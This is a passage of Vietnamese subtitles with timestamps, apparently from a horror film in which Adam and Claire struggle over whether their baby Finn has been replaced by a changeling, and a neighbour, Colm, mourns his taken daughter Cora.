Khoan đã, em không biết mình đang làm gì đâu!

01:08:46.124 --> 01:08:48.124
Ta phải tìm Finn!
- Đây chính là Finn!

01:08:48.249 --> 01:08:50.398
Chúng muốn lừa chúng ta!
Chúng cố lừa chúng ta!

01:08:50.498 --> 01:08:53.482
- Anh phát bệnh rồi!
- Đó không phải Finn!

01:08:53.582 --> 01:08:55.999
Nó không phải Finn!

01:09:06.665 --> 01:09:09.707
- Claire!
- không!

01:09:15.249 --> 01:09:16.665
Claire!

01:09:20.874 --> 01:09:22.874
Claire!

01:10:11.041 --> 01:10:13.457
Đưa anh thằng bé, Claire.

01:10:14.498 --> 01:10:16.832
Nó không phải con em.

01:10:17.332 --> 01:10:20.899
Nó không hề là con em, Claire.

01:10:20.999 --> 01:10:24.041
- Em không phân biệt được sao?
- Làm ơn đi, Adam, xin anh đấy.

01:10:24.166 --> 01:10:26.107
Anh lầm rồi. Anh nhiễm bệnh rồi.

01:10:26.207 --> 01:10:31.749
Không, Claire. Không , Claire.
Không, làm ơn đi, xin em đấy. Không, không, không.

01:10:32.582 --> 01:10:35.207
Không...không phải anh đâu.

01:10:35.582 --> 01:10:39.832
Anh không phải người...
người sẽ làm em đau đớn đâu.

01:10:40.999 --> 01:10:45.415
Thằng bé...thằng bé...thằng bé mới là kẻ đó.

01:10:45.540 --> 01:10:47.624
Chính là thằng bé.

01:10:48.749 --> 01:10:52.790
Em thực sự...nghĩ là
chúng sẽ trả thằng bé lại cho em sao?

01:10:54.290 --> 01:10:57.290
Chúng muốn em.

01:10:59.498 --> 01:11:00.732
Đưa nó cho anh.

01:11:00.832 --> 01:11:03.874
Chúng muốn...Claire!

01:11:03.999 --> 01:11:06.208
- Làm ơn đi.
- Chúng muốn cả gia đình ta!

01:11:06.332 --> 01:11:08.498
Tất cả chúng ta!

01:11:12.707 --> 01:11:14.498
Không!

01:11:23.041 --> 01:11:24.540
Lùi lại!

01:11:25.208 --> 01:11:27.290
Tránh xa ra!

01:11:43.582 --> 01:11:45.290
Adam?

01:11:47.082 --> 01:11:49.166
Chuyện gì đang xảy ra vậy?

01:11:52.874 --> 01:11:54.790
Adam?

01:12:12.373 --> 01:12:14.124
Adam?

01:12:14.248 --> 01:12:15.749
Adam?

01:12:18.749 --> 01:12:20.624
Không!

01:12:20.749 --> 01:12:24.248
Không! Không!

01:12:25.290 --> 01:12:27.082
Claire!

01:12:30.707 --> 01:12:32.707
Claire!

01:12:41.082 --> 01:12:43.082
Claire!

01:14:20.332 --> 01:14:22.374
Claire!

01:14:42.957 --> 01:14:44.749
Claire!

01:17:04.749 --> 01:17:06.707
làm ơn đi, tôi cần được giúp!

01:17:08.457 --> 01:17:10.290
Xin ông đấy.

01:17:10.707 --> 01:17:12.749
Cảm ơn.

01:17:14.833 --> 01:17:16.707
Ôi, Cảm...

01:17:21.249 --> 01:17:22.816
Đi khỏi đây đi.

01:17:22.915 --> 01:17:25.107
Ông...ông phải giúp chúng tôi.

01:17:25.207 --> 01:17:27.249
Tôi đã làm rồi.

01:17:27.998 --> 01:17:30.374
Tôi biết, nhưng xin ông...

01:17:31.082 --> 01:17:33.624
Tôi không thể giúp cô. Tôi không thể.

01:17:34.123 --> 01:17:36.374
Chúng đã bắt mất Cora của tôi.

01:17:36.833 --> 01:17:39.290
Chúng đã bắt con gái bé bỏng của tôi.

01:17:40.833 --> 01:17:42.915
Chúng lấy đi thứ mà ta yêu quý nhất, và...

01:17:45.582 --> 01:17:48.499
Đi ngay bay giờ trước khi cô
dẫn chúng xuống tới đây.

01:17:49.374 --> 01:17:52.873
Làm ơn giữ giúp con tôi đi.
Chỉ tới sáng thôi.

01:17:53.207 --> 01:17:56.857
- Làm ơn đi, Colm, xin ông đấy!
- Lẽ ra anh ta nên nghe lời!

01:17:56.957 --> 01:17:58.707
Đi!

01:17:58.832 --> 01:18:00.541
Đi!

01:18:04.541 --> 01:18:07.249
Các người lẽ ra không bao giờ nên tới đây!

01:18:42.832 --> 01:18:44.332
Cora?

01:19:38.708 --> 01:19:40.416
Không, Cora.

01:22:34.790 --> 01:22:36.541
Claire?

01:22:46.166 --> 01:22:47.582
Adam?

01:23:00.416 --> 01:23:02.623
Anh mang thằng bé về rồi.

01:23:03.124 --> 01:23:06.274
- Cái gì đó?
- Là ...là Finn.

01:23:06.374 --> 01:23:08.790
Không, Adam, không.

01:23:15.665 --> 01:23:18.249
Đó là lý do chúng ở đây.

01:23:19.665 --> 01:23:21.874
Chúng muốn...Finn.

01:23:25.249 --> 01:23:28.082
Chúng muốn Finn thành gia đình chúng.

01:23:33.374 --> 01:23:34.623
Bế thằng bé đi đi.

01:23:37.166 --> 01:23:40.274
Để thứ đó ở lại.
Nó là một trong số chúng.

01:23:40.374 --> 01:23:43.832
Nó...nó chả là gì cả.
Nó là một trò bịp bợm.

01:23:56.291 --> 01:23:57.540
Adam!

01:24:22.498 --> 01:24:25.040
Claire...bế thằng bé lên đi.

01:24:27.915 --> 01:24:29.790
Đưa nó đi đi.

01:24:43.874 --> 01:24:45.582
Adam?

01:24:47.457 --> 01:24:49.374
Em đã...

01:29:00.540 --> 01:29:03.373
Con thật đẹp.

ZeroDay Forums Mini